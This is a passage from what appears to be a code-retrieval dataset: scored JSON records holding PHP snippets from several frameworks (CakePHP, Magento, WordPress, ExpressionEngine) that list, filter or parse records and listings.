$this->Session->read('Auth.User');\t\r\n\t\t$conditions = array();\r\n\t\t\r\n\t\t// if log'd in user is not admin user\r\n\t\tif($userinfo['type']!='1') {\r\n\t\t\t\r\n\t\t\t// user is supervisor then\r\n\t\t\tif($userinfo['type']=='4' && $userinfo['access_to_ids']!='') {\r\n\t\t\t\r\n\t\t\t\t$ids = explode(',', $userinfo['access_to_ids'].', '.$userinfo['id']);\r\n\t\t\t\t$conditions += array('Billing.user_id'=>$ids);\r\n\t\t\t}else {\r\n\t\t\t\t// any other user\r\n\t\t\t\t$conditions += array('Billing.user_id'=>$userinfo['id']);\r\n\t\t\t}\r\n\t\t}\r\n\t\t$conditions += array('Billing.is_deleted'=>0);\r\n\r\n\t\tif($billDateFrom && $billDateTo){\r\n\t\t\t$conditions += array('Billing.bill_date BETWEEN ? AND ?'=>array($billDateFrom, $billDateTo));\r\n\t\t}\t\r\n\t\tif($clientName){\r\n\t\t\t$conditions += array('Billing.client_name LIKE'=>'%'.$clientName.'%');\r\n\t\t}\t\t\r\n\t\tif($billTo){\r\n\t\t\t$conditions += array('Billing.bill_to'=>$billTo);\r\n\t\t}\t\t\r\n\t\tif($type){ \r\n\t\t\t$conditions += array('Billing.type'=>$type);\r\n\t\t}\t\t \r\n\t\tif($caseNo){ \r\n\t\t\t$conditions += array('Billing.case_no'=>$caseNo);\r\n\t\t} \r\n\t\tif($apptTime){ \r\n\t\t\t$conditions += array('Billing.appointment_time'=>$apptTime);\r\n\t\t} \r\n\t\tif($duration){ \r\n\t\t\t$conditions += array('Billing.duration'=>$duration);\r\n\t\t} \r\n\t\tif($cpt){ \r\n\t\t\t$conditions += array('Billing.cpt'=>$cpt);\r\n\t\t} \r\n\t\tif($diag){ \r\n\t\t\t$conditions += array('Billing.diag'=>$diag);\r\n\t\t}\r\n\t\tif($gr_c_so){ \r\n\t\t\t$conditions += array('Billing.gr_c_so'=>$gr_c_so);\r\n\t\t}\r\n\t\tif($sch_off_hv){ \r\n\t\t\t$conditions += array('Billing.sch_off_hv'=>$sch_off_hv);\r\n\t\t}\r\n\t\tif($username){ \r\n\t\t\t$conditions += array('User.username'=>$username);\r\n\t\t}\r\n\t\t$params = array(\r\n\t\t\t\t\t'conditions'=>$conditions,\r\n\t\t\t\t\t'order'=>'Billing.bill_date DESC, Billing.appointment_time DESC'\r\n\t\t\t\t\t);\r\n\t\t$records = $this->Billing->find('all',$params);\r\n\t\t$this->set('records',$records);\r\n\t\tif($printView==1) {\r\n\t\t\t$this->layout = 'ajax';\r\n\t\t\t$this->render('lists_print_preview');\r\n\t\t}\r\n\r\n\t}", "title": "" }, { "docid": "cf75c16bbc271fe865fb6b50f7409ee0", "score": "0.5973138", "text": "abstract function listAll();", "title": "" }, { "docid": "c47c66da1754e1305912eab523ae5614", "score": "0.5925864", "text": "public function getGoodListList(){\n return $this->_get(2);\n }", "title": "" }, { "docid": "e30f5428406f8ad487292347c0c9bc0b", "score": "0.58797777", "text": "public function getListings() {\n /**\n * Getting customer session\n */\n $customer = Mage::getSingleton ( 'customer/session' )->getCustomer ();\n /**\n * Getting customer Id\n */\n $cusId = $customer->getId ();\n \n if (Mage::helper ( 'catalog/category_flat' )->isEnabled ()) {\n /**\n * Listings by Id\n */\n $storeId = Mage::app ()->getStore ()->getStoreId ();\n /**\n * Setting current store\n */\n Mage::app ()->setCurrentStore ( Mage_Core_Model_App::ADMIN_STORE_ID );\n /**\n * product Collection\n */\n $products = Mage::getModel ( 'catalog/product' )->getCollection ()->setDisableFlat ( true )->addAttributeToSort ( 'entity_id', 'DESC' )->/**\n * Filter by user ID\n */\n addFieldToFilter ( array (\n array (\n 'attribute' => 'userid',\n 'eq' => $cusId \n ) \n ) );\n Mage::app ()->setCurrentStore ( $storeId );\n } else {\n /**\n * Property Collection\n */\n $products = Mage::getModel ( 'airhotels/property' )->getpropertycollection ()->addAttributeToSort ( 'entity_id', 'DESC' )->/**\n * Filter by userid\n */\n addFieldToFilter ( array (\n array (\n 'attribute' => 'userid',\n 'eq' => $cusId \n ) \n ) );\n }\n /**\n * return array\n */\n return $products;\n }", "title": "" }, { "docid": "efd1c1de70d4fe7bc194a5fbe5368e71", "score": "0.5876419", "text": "public function itemsList();", "title": "" }, { "docid": "b514bc1b4c726ff78d772bd91f73ce1e", "score": "0.5865476", "text": "public function bloggerList() {\r\n \r\n }", "title": "" }, { "docid": "dfad4a2dca3d349389b6dff9decbc90b", "score": "0.5851379", "text": "function __pulldownLists()\n {\n\n //profiling\n $this->data['controller_profiling'][] = __function__; //[all_groups]\n $data = $this->tickets_departments_model->allDepartments();\n $this->data['debug'][] = $this->tickets_departments_model->debug_data;\n $this->data['lists']['all_departments_id'] = create_pulldown_list($data, 'tickets_departments', 'id');\n }", "title": "" }, { "docid": "f1100dc0425d51c1d3d3ba4fd57f34e8", "score": "0.58433354", "text": "function listings()\n {\n $this->header();\n $data['receivings'] = $this->Receiving->getStock_receivings();\n $this->load->view('receivings/listings', $data);\n $this->footer();\n\n }", "title": "" }, { "docid": "f9776ecfa054495374033bcfec838d80", "score": "0.5840102", "text": "abstract protected function _getWishlist();", "title": "" }, { "docid": "e52f328be2dc0b2d0f8459241ec00834", "score": "0.58231926", "text": "public function showList()\n\t{\n\t\t\n\n\t\t$list = $this->getList();\n\t\tforeach ($list as $info) {\n\t\t\tif ($info['enable'] == 1) {\n\t\t\t $xmlInfo = $this->getXmlInfo($info['name']);\n\t\t\t} else {\n\t\t\t $xmlInfo = array(\n \t\t\t\t'type' => '',\n \t\t\t\t'in' => '',\n \t\t\t\t'out' => '',\n \t\t );\n\t\t\t}\n\n\t\t\t$lastLog = $this->getLastLogs($info['id_dataflow']);\n\t\t\t$status = Dataflow::getStatus($lastLog); // @TODO : Déporter la fonction getStatus() sur l'objet Log.\n\n\t\t\t$listDatas[$info['id_dataflow']] = array(\n\t\t\t\t'id' => $info['id_dataflow'],\n\t\t\t\t'name' => $info['name'],\n\t\t\t\t'enable' => $info['enable'],\n\t\t\t\t//'type' => $info['type'],\n\t\t\t\t//'in_connection_type' => $info['in_connection_type'],\n\t\t\t\t//'out_connection_type' => $info['out_connection_type'],\n\t\t\t\t'type' => $xmlInfo['type'],\n\t\t\t\t'in_connection_type' => $xmlInfo['in'],\n\t\t\t\t'out_connection_type' => $xmlInfo['out'],\n\t\t\t\t'date_start' => $lastLog['date_start'],\n\t\t\t\t'status' => $status,\n\t\t\t\t'logfile' => $lastLog['logfile'],\n\t\t\t);\n\t\t}\n\t\t\n\t\t$sort = 'date_start';\n\t\t$order = SORT_DESC;\n\t\t$listDatasSorted = array();\n\t\tif(!empty($listDatas)){\n\t\t\t$listDatasSorted = Dataflow::array_sort($listDatas, $sort, $order);\n\t\t\t//krsort($listSorted);\n\t\n\t\t\t\n\t\t}\n\n\t\treturn $listDatasSorted;\n\t}", "title": "" }, { "docid": "7fca1bdeb08d698092f64bcea92c8845", "score": "0.5765098", "text": "public function getList() {\r\n }", "title": "" }, { "docid": "e916a86063adfa1c408b712483c7adfd", "score": "0.57644624", "text": "public function listDetalhes();", "title": "" }, { "docid": "e285e585c33e6b6fc5719e9eb43275fb", "score": "0.57553166", "text": "function set_listings($data)\n\t{\n\t\t$site_id = $this->EE->config->item('site_id');\n\n\t\t// Update the entry for our listing item in site_pages\n\t\tforeach ($data as $listing)\n\t\t{\n\t\t\t$entry_id = $listing['entry_id'];\n\n\t\t\tif (is_array($listing))\n\t\t\t{\n\n\t\t\t\t// Our listing table doesn't need this anymore, so remove it.\n\t\t\t\tif (array_key_exists('parent_id', $listing))\n\t\t\t\t\tunset($listing['parent_uri']);\n\n\t\t\t\t// See if row exists first\n\t\t\t\t$query = $this->EE->db->get_where('structure_listings', array('entry_id' => $entry_id));\n\n\t\t\t\t// We have an entry, so we're modifying existing data\n\t\t\t\tif($query->num_rows() == 1)\n\t\t\t\t{\n\t\t\t\t\t// unset($data['entry_id']);\n\t\t\t\t\t$sql = $this->EE->db->update_string('structure_listings', $listing, \"entry_id = $entry_id\");\n\t\t\t\t}\n\t\t\t\telse // This is a new entry\n\t\t\t\t{\n\t\t\t\t\t$sql = $this->EE->db->insert_string('structure_listings', $listing);\n\t\t\t\t}\n\n\t\t\t\t// Stay connected\n\t\t\t\t$this->EE->db->reconnect();\n\n\t\t\t\t// Update our listing table\n\t\t\t\t$this->EE->db->query($sql);\n\t\t\t}\n\n\t\t}\n\t\t// $this->EE->db->query($this->EE->db->update_string('exp_sites', array('site_pages' => base64_encode(serialize($site_pages))), \"site_id = $site_id\"));\n\t\t// $this->sql->update_root_node();\n\t}", "title": "" }, { "docid": "14b1e2db94c977730c507aad00ed3651", "score": "0.57537615", "text": "public function getFoundList(){\n return $this->_get(1);\n }", "title": "" }, { "docid": "1ac99256cc51f7f79c8d1ba7fbcb83f1", "score": "0.57363135", "text": "function power_default_list_pings() {\n\n\t$args = apply_filters(\n\t\t'power_ping_list_args',\n\t\t[\n\t\t\t'type' => 'pings',\n\t\t]\n\t);\n\n\twp_list_comments( $args );\n\n}", "title": "" }, { "docid": "83027c17dca602a3ab22007fa2709579", "score": "0.57180023", "text": "function gatOneDogGuestListEntry(){\n\n }", "title": "" }, { "docid": "a28eac8107a255f97e86fbba2146b3fe", "score": "0.57140136", "text": "public function listvia(){\n\n\n }", "title": "" }, { "docid": "4300d46ab34cb421896064d0783784d7", "score": "0.5685681", "text": "public function getList()\n {\n }", "title": "" }, { "docid": "6cfb5cbe141ea91ecdd44fc51f0d6e92", "score": "0.56795454", "text": "public function getList();", "title": "" }, { "docid": "6cfb5cbe141ea91ecdd44fc51f0d6e92", "score": "0.56795454", "text": "public function getList();", "title": "" }, { "docid": "6cfb5cbe141ea91ecdd44fc51f0d6e92", "score": "0.56795454", "text": "public function getList();", "title": "" }, { "docid": "6cfb5cbe141ea91ecdd44fc51f0d6e92", "score": "0.56795454", "text": "public function getList();", "title": "" }, { "docid": "6cfb5cbe141ea91ecdd44fc51f0d6e92", "score": "0.56795454", "text": "public function getList();", "title": "" }, { "docid": "6cfb5cbe141ea91ecdd44fc51f0d6e92", "score": "0.56795454", "text": "public function getList();", "title": "" }, { "docid": "6cfb5cbe141ea91ecdd44fc51f0d6e92", "score": "0.56795454", "text": "public function getList();", "title": "" }, { "docid": "6cfb5cbe141ea91ecdd44fc51f0d6e92", "score": "0.56795454", "text": "public function getList();", "title": "" }, { "docid": "3a14b6c45c59f052a3e8b2abfe3f99a9", "score": "0.5677991", "text": "public function getListList(){\n return $this->_get(1);\n }", "title": "" }, { "docid": "44c56d2eada88e40bea866926247b610", "score": "0.5668473", "text": "function __pulldownLists()\n {\n\n //profiling\n $this->data['controller_profiling'][] = __function__;\n\n //[all_team_members]\n $data = $this->teamprofile_model->allTeamMembers('team_profile_full_name', 'ASC');\n $this->data['debug'][] = $this->teamprofile_model->debug_data;\n $this->data['lists']['all_team_members'] = create_pulldown_list($data, 'team_members', 'id');\n\n }", "title": "" }, { "docid": "30c71c3cc9dd5c554d4606c6b8b15d45", "score": "0.5663954", "text": "public function __construct(Listing $listing){\n //\n $this->listing = $listing;\n }", "title": "" }, { "docid": "45627b52ee0aa6fb555632e458eff7e0", "score": "0.5647606", "text": "function sub_lists()\n\t{\n\t\t$data = filter_forwarded_data($this);\n\t\t\n\t\tif(!empty($data['id']) && !empty($data['type'])) $data['list'] = $this->_census->get_list(array('action'=>$data['type'].'_sub_list', 'census_id'=>$data['id']));\n\t\telse $data['msg'] = \"ERROR: The list instructions can not be resolved.\";\n\t\t\n\t\t$data['area'] = 'census_sub_lists';\n\t\t$this->load->view('addons/basic_addons', $data); \n\t}", "title": "" }, { "docid": "8e7a175a1d69fc1e276dbd290552b522", "score": "0.5616735", "text": "public function list(){\n\t\t$this->current->list();\n\t}", "title": "" }, { "docid": "b54e22f85c362708ab250fe578c2bf1e", "score": "0.5615085", "text": "abstract protected function _getLists($key);", "title": "" }, { "docid": "9f25916d6c3063bf90772b7b532f6ccd", "score": "0.5583975", "text": "function gatOneCatGuestListEntry(){\n\n }", "title": "" }, { "docid": "d75fcfe242397536f24062d4985a852e", "score": "0.5582018", "text": "public function before_render_list($records){}", "title": "" }, { "docid": "c41ddff0b3dd1c6bfc973f4c308ef8a5", "score": "0.5580317", "text": "function wp_listings_init() {\n\n\tglobal $_wp_listings, $_wp_listings_taxonomies, $_wp_listings_templates;\n\n\tdefine( 'WP_LISTINGS_URL', plugin_dir_url( __FILE__ ) );\n\tdefine( 'WP_LISTINGS_VERSION', '1.2.3' );\n\n\t/** Load textdomain for translation */\n\tload_plugin_textdomain( 'wp_listings', false, basename( dirname( __FILE__ ) ) . '/languages/' );\n\n\t/** Includes */\n\trequire_once( dirname( __FILE__ ) . '/includes/helpers.php' );\n\trequire_once( dirname( __FILE__ ) . '/includes/functions.php' );\n\trequire_once( dirname( __FILE__ ) . '/includes/shortcodes.php' );\n\trequire_once( dirname( __FILE__ ) . '/includes/wp-api.php' );\n\trequire_once( dirname( __FILE__ ) . '/includes/class-listings.php' );\n\trequire_once( dirname( __FILE__ ) . '/includes/class-taxonomies.php' );\n\trequire_once( dirname( __FILE__ ) . '/includes/class-listing-template.php' );\n\trequire_once( dirname( __FILE__ ) . '/includes/class-listings-search-widget.php' );\n\trequire_once( dirname( __FILE__ ) . '/includes/class-featured-listings-widget.php' );\n\n\t/** Add theme support for post thumbnails if it does not exist */\n\tif(!current_theme_supports('post-thumbnails')) {\n\t\tadd_theme_support( 'post-thumbnails' );\n\t}\n\n\t/** Registers and enqueues scripts for single listings */\n\tadd_action('wp_enqueue_scripts', 'add_wp_listings_scripts');\n\tfunction add_wp_listings_scripts() {\n\t\twp_register_script( 'wp-listings-single', WP_LISTINGS_URL . 'includes/js/single-listing.min.js', array('jquery'), null, true ); // enqueued only on single listings\n\t\twp_register_script( 'jquery-validate', WP_LISTINGS_URL . 'includes/js/jquery.validate.min.js', array('jquery'), null, true ); // enqueued only on single listings\n\t\twp_register_script( 'fitvids', '//cdnjs.cloudflare.com/ajax/libs/fitvids/1.1.0/jquery.fitvids.min.js', array('jquery'), null, true ); // enqueued only on single listings\n\t\twp_enqueue_script( 'jquery' );\n\t\twp_enqueue_script( 'jquery-ui-tabs', array('jquery') );\n }\n\n\t/** Enqueues wp-listings.css style file if it exists and is not deregistered in settings */\n\tadd_action('wp_enqueue_scripts', 'add_wp_listings_main_styles');\n\tfunction add_wp_listings_main_styles() {\n\n\t\t$options = get_option('plugin_wp_listings_settings');\n\n\t\t/** Register single styles but don't enqueue them **/\n\t\twp_register_style('wp-listings-single', WP_LISTINGS_URL . '/includes/css/wp-listings-single.css', '', null, 'all');\n\n\t\t/** Register Font Awesome icons but don't enqueue them */\n\t\twp_register_style('font-awesome', '//maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css', '', null, 'all');\n\n\t\t/** Register Properticons but don't enqueue them */\n\t\twp_register_style('properticons', '//s3.amazonaws.com/properticons/css/properticons.css', '', null, 'all');\n\n\t\tif ( !isset($options['wp_listings_stylesheet_load']) ) {\n\t\t\t$options['wp_listings_stylesheet_load'] = 0;\n\t\t}\n\n\t\tif ('1' == $options['wp_listings_stylesheet_load'] ) {\n\t\t\treturn;\n\t\t}\n\n if ( file_exists(dirname( __FILE__ ) . '/includes/css/wp-listings.css') ) {\n \twp_register_style('wp_listings', WP_LISTINGS_URL . 'includes/css/wp-listings.css', '', null, 'all');\n wp_enqueue_style('wp_listings');\n }\n }\n\n /** Enqueues wp-listings-widgets.css style file if it exists and is not deregistered in settings */\n\tadd_action('wp_enqueue_scripts', 'add_wp_listings_widgets_styles');\n\tfunction add_wp_listings_widgets_styles() {\n\n\t\t$options = get_option('plugin_wp_listings_settings');\n\n\t\tif ( !isset($options['wp_listings_widgets_stylesheet_load']) ) {\n\t\t\t$options['wp_listings_widgets_stylesheet_load'] = 0;\n\t\t}\n\n\t\tif ('1' == $options['wp_listings_widgets_stylesheet_load'] ) {\n\t\t\treturn;\n\t\t}\n\n if ( file_exists(dirname( __FILE__ ) . '/includes/css/wp-listings-widgets.css') ) {\n \twp_register_style('wp_listings_widgets', WP_LISTINGS_URL . 'includes/css/wp-listings-widgets.css', '', null, 'all');\n wp_enqueue_style('wp_listings_widgets');\n }\n }\n\n /** Add admin styles */\n function wp_listings_admin_style() {\n wp_enqueue_style( 'wp_listings_admin_css', plugin_dir_url( __FILE__ ) . '/includes/css/wp-listings-admin.css' );\n\t}\n\tadd_action( 'admin_enqueue_scripts', 'wp_listings_admin_style' );\n\n\t/** Instantiate */\n\t$_wp_listings = new WP_Listings;\n\t$_wp_listings_taxonomies = new WP_Listings_Taxonomies;\n\t$_wp_listings_templates = new Single_Listing_Template;\n\n\tadd_action( 'widgets_init', 'wp_listings_register_widgets' );\n\n\t// /** For troubleshooting the loaded template */\n\t// add_action('genesis_entry_header', 'echo_template_name');\n\t// add_action('genesis_after_post_title', 'echo_template_name');\n\t// function echo_template_name() {\n\t// \tglobal $post, $template;\n\t// \techo $template;\n\t// \techo get_post_meta( $post->ID, '_wp_post_template', true );\n\t// }\n}", "title": "" }, { "docid": "8e13f422faf1843acd55c8ccf0dfef72", "score": "0.55761784", "text": "protected function lists()\n {\n $this->matches[\"/\\[list\\](.*?)\\[\\/list\\]/is\"] = function ($match) {\n preg_match_all(\"/\\[\\*\\]([^\\[\\*\\]]*)/is\", $match[1], $items);\n\n return $this->html->ul(preg_replace(\"/[\\n\\r?]$/\", null, $items[1]));\n };\n\n // Replace [list=1|a]...[/list] with <ul|ol><li>...</li></ul|ol>\n $this->matches[\"/\\[list=(1|a)\\](.*?)\\[\\/list\\]/is\"] = function ($match) {\n $attr = [];\n\n if ($match[1] === 'a') {\n $attr = ['style' => 'list-style-type: lower-alpha'];\n }\n\n preg_match_all(\"/\\[\\*\\]([^\\[\\*\\]]*)/is\", $match[2], $items);\n\n return $this->html->ol(preg_replace(\"/[\\n\\r?]$/\", null, $items[1]), $attr);\n };\n }", "title": "" }, { "docid": "55508c4d7c8a1b9944960e6b022c7536", "score": "0.5569606", "text": "public function get_listings_details($dom){\t\n\t\t\t//push each entry into new array\n\t\t\t$update_item_array = array();\n\t\t\t$update_item_array['itemnumber'] = array();\n\t\t\t$update_item_array['customlabel'] = array();\n\t\t\t$update_item_array['quantity'] = array();\n\t\t\t$update_item_array['quantitysoldandavailable'] = array();\n\t\t\t$update_item_array['sellprice'] = array();\n\t\t\t$update_item_array['starttime'] = array();\n\t\t\t$update_item_array['endtime'] = array();\n\t\t\t$update_item_array['itemtitle'] = array();\n\t\t\t$update_item_array['stockcntrl'] = array();\n\t\t\t$update_item_array['listingtype'] = array();\n\t\t\t$update_item_array['varnodecount'] = array();\n\n\n\t\t\t$update_item_response = $dom->getElementsByTagName(DOM_ELEMENT_LISTINGSSHOW_RESPONSE);\n\n\n\n\t\t\tforeach ($update_item_response as $item){\n\t \t\t\t\n\n\t\t\t\t$activelist = $item->getElementsByTagName(DOM_ELEMENT_LISTINGS_ACTIVELIST);\n\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tforeach ($activelist as $activelistshow){\n\t\t\t\t\t\n\t\t\t\t\t$itemarrays = $activelistshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_ITEMARRAY);\n\n\n\t\t\t\t\tforeach($itemarrays as $itemarray){\n\n\t\t\t\t\t\t$inditems = $itemarray->getElementsByTagName(DOM_ELEMENT_LISTINGS_ITEMSS);\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\tforeach($inditems as $inditemshow){\n\n\t\t\t\t\t\t\t//get variations -> <Variations> tag ---------------------------------------------------\n\t\t\t\t\t\t\t$variation_main = $inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_VARIATIONS);\n\n\t\t\t\t\t\t\t$varnodecount = 0;\n\n\t\t\t\t\t\t\tforeach($variation_main as $node){\n\n\t\t\t\t\t\t\t\tforeach($node->childNodes as $child) {\n\n\t\t\t\t\t\t\t\t\t$varnodecount++;\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tarray_push($update_item_array['varnodecount'], $varnodecount);\n\n\n\t\t\t\t\t\t\t$costers = trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_LISTINGTYPE)->item(0)->nodeValue) != \"\" ? trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_LISTINGTYPE)->item(0)->nodeValue) : \"Listing Type - Error\";\n\n\t\t\t\t\t\t\tarray_push($update_item_array['listingtype'], $costers);\n\n\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t$costers = trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_ITEMID)->item(0)->nodeValue) != \"\" ? trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_ITEMID)->item(0)->nodeValue) : \"Item Num - Error\";\n\n\t\t\t\t\t\t\tarray_push($update_item_array['itemnumber'], $costers);\n\n\t\t\t\t\t\t\t$costers = trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_SKU)->item(0)->nodeValue) != \"\" ? trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_SKU)->item(0)->nodeValue) : \"SKU - Error\";\n\n\t\t\t\t\t\t\tarray_push($update_item_array['customlabel'], $costers);\n\t\t\t\t\n\t\t\t\t\t\t\t$costers = trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_QUANTITY)->item(0)->nodeValue) != \"\" ? trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_QUANTITY)->item(0)->nodeValue) : \"0\";\n\n\t\t\t\t\t\t\tarray_push($update_item_array['quantity'], $costers);\n\n\t\t\t\t\t\t\t$costers = trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_TOTALQUANTITY)->item(0)->nodeValue) != \"\" ? trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_TOTALQUANTITY)->item(0)->nodeValue) : \"0\";\n\n\t\t\t\t\t\t\tarray_push($update_item_array['quantitysoldandavailable'], $costers);\n\n\n\n\t\t\t\t\t\t\t$costers = trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_CURRENTPRICE)->item(0)->nodeValue) != \"\" ? trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_CURRENTPRICE)->item(0)->nodeValue) : \"price sold - Error\";\n\n\t\t\t\t\t\t\tarray_push($update_item_array['sellprice'], $costers);\t\n\n\n\n\t\t\t\t\t\t\t$costers = trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_STARTTIME)->item(0)->nodeValue) != \"\" ? trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_STARTTIME)->item(0)->nodeValue) : \"0\";\n\n\n\t\t\t\t\t\t\tarray_push($update_item_array['starttime'], $costers);\n\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$costers = trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_ENDTIME)->item(0)->nodeValue) != \"\" ? trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_ENDTIME)->item(0)->nodeValue) : \"\";\n\n\n\t\t\t\t\t\t\tarray_push($update_item_array['endtime'], $costers);\n\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$costers = trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_ITEMTITLE)->item(0)->nodeValue) != \"\" ? trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_ITEMTITLE)->item(0)->nodeValue) : \"\";\n\n\n\t\t\t\t\t\t\tarray_push($update_item_array['itemtitle'], $costers);\t\t\t\t\n\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$costers = trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_STOCKCNTRL)->item(0)->nodeValue) != \"\" ? trim($inditemshow->getElementsByTagName(DOM_ELEMENT_LISTINGS_STOCKCNTRL)->item(0)->nodeValue) : \"FALSE\";\n\n\n\t\t\t\t\t\t\tarray_push($update_item_array['stockcntrl'], $costers);\t\t\n\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\n\t\t\t\t\t}\n\n\n\n\t\t\t\t\t\n\t\t\t\t}\t\t\n\n\n\t\t\t\t//errors\n\t\t\t\t$error_messages = $item->getElementsByTagName(DOM_ELEMENT_ERRORS);\n\n\t\t\t\tforeach ($error_messages as $errormsg){\n\t\t\t\t\t$error = trim($errormsg->getElementsByTagName(DOM_ELEMENT_SHORT_ERROR_MSG)->item(0)->nodeValue) != \"\" ? trim($errormsg->getElementsByTagName(DOM_ELEMENT_SHORT_ERROR_MSG)->item(0)->nodeValue) : \"No Error\";\n\t\t\t\t\tarray_push($update_item_array, $error);\n\t\t\t\t}\n\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\n\t\t\t}\n\n\t\t\treturn $update_item_array;\n\n\t\t//DOM_ELEMENT_SHORT_ERROR_MSG\n\t\t}", "title": "" }, { "docid": "bc3caede8742d554130eccdfb6926307", "score": "0.55669814", "text": "public function linklist(){\n\t\t$term = trim(Convert::raw2sql($this->request->getVar('term')));\n\t\t$type = Convert::raw2sql($this->request->getVar('type'));\n\t\t\n\t\tif($type == 'file' || $type == 'image'){\n\t\t\t$filter =\"Title LIKE '%$term%'\";\n\t\t\tif($type == 'image'){\n\t\t\t\t$filter .= \" AND ClassName = 'Image'\";\n\t\t\t}\t\t\n\t\t\tif($files = DataObject::get('File', $filter, $sort='Title DESC', $join='', $limit='')){\n\t\t\t\t//die($files->Count())\n\t\t\t\t$this->response->addHeader('Content-type', 'application/json');\n\t\t\t\t$return = array();\n\t\t\t\tforeach ($files as $file){\n\t\t\t\t\tif($file->ClassName == 'Image'){\n\t\t\t\t\t\tif($file->CroppedImage(20,20)){\n\t\t\t\t\t\t\t$label = $file->CroppedImage(20,20)->forTemplate() . \" \" . $file->Title;\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$label = \"<img src='{$file->Link()}' height='20' width = '20'/> \" . $file->Title;\n\t\t\t\t\t\t}\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$label = \"<img src='{$file->Icon()}' height='20' width = '20'/> \" . $file->Title;\n\t\t\t\t\t}\n\t\t\t\t\t$return [] = array(\n\t\t\t\t\t\t'ID' => $file->ID,\n\t\t\t\t\t\t'Title' => $file->Title,\n\t\t\t\t\t\t'Label' => $label,\n\t\t\t\t\t\t'Link' => $file->Link()\n\t\t\t\t\t); \n\t\t\t\t}\n\t\t\t\treturn Convert::raw2json($return);\n\t\t\t}\t\n\t\t}elseif($type == 'page'){\n\t\t\tif($pages = DataObject::get('SiteTree', $filter =\"Title LIKE '%$term%'\", $sort='Title DESC', $join='', $limit='')){\n\t\t\t\t$this->response->addHeader('Content-type', 'application/json');\n\t\t\t\t$return = array();\n\t\t\t\tforeach ($pages as $page){\n\t\t\t\t\t$return [] = array(\n\t\t\t\t\t\t'ID' => $page->ID,\n\t\t\t\t\t\t'Label' => $page->Title,\n\t\t\t\t\t\t'Title' => $page->Title,\n\t\t\t\t\t\t'Link' => $page->Link()\n\t\t\t\t\t); \n\t\t\t\t}\n\t\t\t\treturn Convert::raw2json($return);\n\t\t\t}\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "b02eb85fff641633951b7f4c95f392e4", "score": "0.5564053", "text": "function format_list_details() {\n\t\tob_start();\n\t\tprint_media_links('1 OBJE @'.$this->getXref().'@', 1, $this->getXref());\n\t\treturn ob_get_clean();\n\t}", "title": "" }, { "docid": "5c3824af375d1834541d39aedb2da4ff", "score": "0.5550732", "text": "public static function getListData();", "title": "" }, { "docid": "76051864faf0c69be819f9ae9bfcb7f2", "score": "0.55422974", "text": "function __pulldownLists()\n {\n //profiling\n $this->data['controller_profiling'][] = __function__;\n\t\t\n\t\t\n\t\t//get utlevering count for a customer\n\t\t$customer_id = $this->session->userdata['pos_customer_id']; //get customer id from session\n\t\t\n\t\t$this->data['reg_blocks'][] = 'orders';\n\t\t$this->data['blocks']['orders'] = $this->orders_model->getCustomerOrderhistory($customer_id,'utlevering');\n\t\t$this->data['debug'][] = $this->orders_model->debug_data;\n\t\t\n\t\t$this->data['vars']['order_count'] = count($this->data['blocks']['orders']);\n\t\t\n\t\t\n //get results\n\t\t$this->data['reg_blocks'][] = 'category';\n\t\t$this->data['blocks']['category'] = $this->products_model->getCategories();\n\t\t$this->data['debug'][] = $this->products_model->debug_data;\t\n\t\tif (count($this->data['blocks']['category']) > 0) {\n\t\t\tfor($i=0;$i<count($this->data['blocks']['category']);$i++){\n\t\t\t\t$path_parts = pathinfo($this->data['blocks']['category'][$i]['path']);\n\t\t\t\t$this->data['blocks']['category'][$i]['thumb'] = $path_parts['filename'] . \".\" .$path_parts['extension'];\n\t\t\t}\n\t\t}\n }", "title": "" }, { "docid": "7c30a0ac222a56a28f68d509e44f0efd", "score": "0.5520624", "text": "function data2List ($value,$value2 ) {\n\n\t\t$html_code = \"\\n<!-- Dinamic list - Generated by phpframework - www.cuatrovientos.org -->\\n\";\n\t\t$html_code .= \"\\n<ul>\";\n\n\t\t//Poner datos\n\t\t$this->reset();\n\t\twhile ($this->hasMoreElements()) {\n\t\t\t$html_code .= \"<li>\" . $this->getValue($value) . \" \".$this->getValue($value2).\"</li>\\n\";\n\t\t\t$this->next();\n\t\t}\n\t\t\t\t\n\t\t$html_code .= \"\\n</ul>\\n<!-- Dinamic list - end - Generated by phpframework - www.cuatrovientos.org -->\\n\";\n\t\t// Finalmente, retornamos el codigo HTML generado\n\t\treturn $html_code;\n\t}", "title": "" }, { "docid": 